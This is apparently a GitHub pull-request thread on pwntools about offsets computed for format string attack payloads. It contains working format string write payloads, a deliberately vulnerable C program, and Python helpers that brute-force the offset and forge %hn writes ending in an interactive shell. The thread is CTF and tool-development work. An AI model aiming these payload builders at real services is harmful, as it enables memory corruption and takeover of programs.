Incorrect/weird offsets with Fmtstr()/fmtstr_payload()

[big-green-lemon]

This is a series of commits in an attempt to fix the weirdness of the offsets calculated by the class FmtStr and the function fmtstr_payload().

Could never use pwntools in CTF challenges involving format string attacks for unknown reasons.
Turns out after some testing and coding my own functions that the offsets are off.

I have tested the patched code on some Root Me challenges. No matter the write mode I use between byte, short, int, etc. or other classes I use like DynELF, code seems to be running fine.
I would like to hear your input on it.

Tested and patched version : 4.14.0

[peace-maker]

Thank you! Can you add more details on how you used the format string functions, what you expected to happen and what actually happened instead? A full reproduction test case with exploit and binary to exploit would be awesome! I've been using this module successfully for a lot of challenges and don't understand what went wrong for you. @Arusekk has more insight into this part of the code.

[big-green-lemon]

Hi,

Sorry for the binary part, I ran all my tests on remote challenges. However, I still have their outputs. I hope it will help you investigate theses issues nonetheless.

In this example, consider we want to set 0xdeadbeef at the address 0xbffff95c.

The following code will output the payload for pwntools.

fmtstr_payload(offset, { 0xbffff95c: 0xdeadbeef }, write_mode='short')

Before patching

	pwntools	Custom functions
Offset	5	268
Search	aaaabaaacaaadaaaeaaaSTART%5$pEND	%268$x.AAAAAAAAAAAAAAAAAAAAABBBB

Pwntools : b'%48879c%12$hn%8126c%13$hnaaa\\\xf9\xff\xbf^\xf9\xff\xbf'
Custom   : b'%48879x%268$hn%8126x%269$hnA\\\xf9\xff\xbf^\xf9\xff\xbf'

You can clearly see that the offset from pwntools does not make any sense whatsoever, since the address is appended at the end of the payload by fmtstr_payload(), whereas it was prepended at the search pattern.

One way to fix this problem is to prepend the address in the function. But null bytes will mess up the whole process. So instead, let's append the addresses from the very beginning.

Also, I did not bother optimizing my search pattern, which is why the offset is off by 3 (268 instead of 265, as mentionned below). It would have been equal to the later if I shrinked the payload length to 16.

After patching

	pwntools	Custom functions
Offset	265	268
Search	START%5$pENDaaaabaaacaaadaaaeaaa	%268$x.AAAAAAAAAAAAAAAAAAAAABBBB

Pwntools : b'%48879c%268$hn%8126c%269$hna\\\xf9\xff\xbf^\xf9\xff\xbf'
Custom   : b'%48879x%268$hn%8126x%269$hnA\\\xf9\xff\xbf^\xf9\xff\xbf'

Both payloads work fine !
The patched code even shifted the offset since the format string payload went longer.

Testing

As for the testing part, I can't think of a practical way for you to test my code.
I can share my code that was used to generate payloads. But that will be all in my opinion.

Procedure

#include <stdio.h>

int value = 0x41414141;

int main() {
  char buf[1024];
  read(0, buf, 1023);
  printf(buf);
  printf("Value = %d\n", value);
  return 0;
}

Compile it with PIE, SF and ASLR disabled (either in 32 or 64 bits).

Trying the leaking function as below should output the ELF magic number :

fmt = FmtStr(...)
fmt.leaker.s(0x08048000) # Or 0x400000
# Should output "\x7fELF\x01..."

Should be able to overwrite value (finding its address is no problem since it's in the .data/.bss section) :

r = process(...)
fmt = FmtStr(...)
p = fmtstr_payload(f.offset, { address_value: 0xdeadbeef }, write_size='short')
r.sendline(p)
res = r.recvall()
# Value should have been changed into 0xdeadbeef

Code

As for my code, here it is :

# b'%48879x%268$hn%8126x%269$hnA\\\xf9\xff\xbf^\xf9\xff\xbf'
#  |----------------------------|
# Length of the format string (aligned) before adding addresses.
# In this particular payload, 28 bytes. Hence its value.
PAYLOAD_LENGTH = 28
PADDING = b''

def execute_fmtstr(r: remote, payload: bytes) -> bytes:
    # The function where you execute the payload.
    # Returns the response of the format string, especially the leak part if it can be found.
    raise NotImplementedError()

def forge_write_payload(offset: int, value: int, address: int):
    lsb = (value & 0xffff)
    msb = (value >> 16) & 0xffff
    payload = PADDING
    if msb > lsb:
        # 2nd part of address
        payload += '%{}x%{}$hn'.format(lsb - len(PADDING), offset).encode()
        # 1st part of address
        payload += '%{}x%{}$hn'.format(msb - lsb, offset + 1).encode()
    elif msb < lsb:
        # 2nd part of address
        payload += '%{}x%{}$hn'.format(msb - len(PADDING), offset + 1).encode()
        # 1st part of address
        payload += '%{}x%{}$hn'.format(lsb - msb, offset).encode()
    else:
        raise ValueError('Equal parts, cannot craft payload.')
    payload = payload.ljust(PAYLOAD_LENGTH, b'A')
    payload += p32(address) + p32(address + 2)
    return payload

def forge_payload(offset: int, format: str, address: int):
    payload = (PADDING + '%{}${}.'.format(offset, format).encode()).ljust(PAYLOAD_LENGTH, b'A') + p32(address)
    return payload

def find_offset(r: remote, start: int, stop: int):
    # Should have used De Bruijn sequence here
    # but I was tweaking by hand until I got the leak right
    for i in range(start, stop + 1):
        haystack = 0x42424242
        leak = execute_fmtstr(r, forge_payload(i, 'x', haystack))
        leak = int(leak, 16)
        if leak == haystack:
            return i

This is how I use my code :

r = remote(...)
offset = find_offset(1, 300)
payload = forge_write_payload(
    offset,
    value=0xdeadbeef,
    address=0xbffff95c
)
r.sendline(payload)

[...]

# Shell
r.interactive()

[big-green-lemon]

Come to think of it, this PR also mentions and (try to) fixes #2130. See commit 74cb99f.

[Arusekk]

Hi, thanks a lot for contributing.
After considering your solution I think it is reasonable to limit payload length to absolute minimum (constrained challenges etc).

However, your assumptions are wrong: small offset does not 'make no sense'. Pwntools detected that the payload string (its start) is present at offset 5. It might be present at offset 265 as well, but that does not make offset 5 an invalid candidate by itself. If the payload at offset 5 is truncated (as I assume), you should still start looking for the beginning of the payload, but with a higher starting offset. This means for off in range(1, 1000) should become for off in range(7, 1000) or something. Maybe this should be configurable, but I do not think so. But you can still specify offset and padlen manually. This is the least daunting part of crafting format string payloads in my experience.

I have submitted a PR promoting the index error to a clearer message describing the user's fault. Also, another solution to some of the problems is possible, using the new no_dollars feature.

[big-green-lemon]

Hi, Thank you for your review. I've just played with a binary right now with your PR. Seems like I've misunderstood the stack layout from the very beginning. Works fine with the right offset. About making the range of offsets configurable, I think it is not a bad idea in my opinion. I struggled hard to find the offset with my own code since the padding messed up everything (a skill issue, I concede). Might help some people save a couple of minutes from getting through the hassle of finding the offset.

…

On Sat, Mar 1, 2025 at 01:34, Arusekk ***@***.***(mailto:On Sat, Mar 1, 2025 at 01:34, Arusekk <<a href=)> wrote: Closed [#2532](#2532) via [#2557](#2557). — Reply to this email directly, [view it on GitHub](#2532 (comment)), or [unsubscribe](https://github.com/notifications/unsubscribe-auth/ASZTPPKEGQASL6VVS7DKW7D2SD6AFAVCNFSM6AAAAABV4YGQDKVHI2DSMVQWIX3LMV45UABCJFZXG5LFIV3GK3TUJZXXI2LGNFRWC5DJN5XDWMJWGUYTSNBQGI3TQNI). You are receiving this because you authored the thread.Message ID: ***@***.***>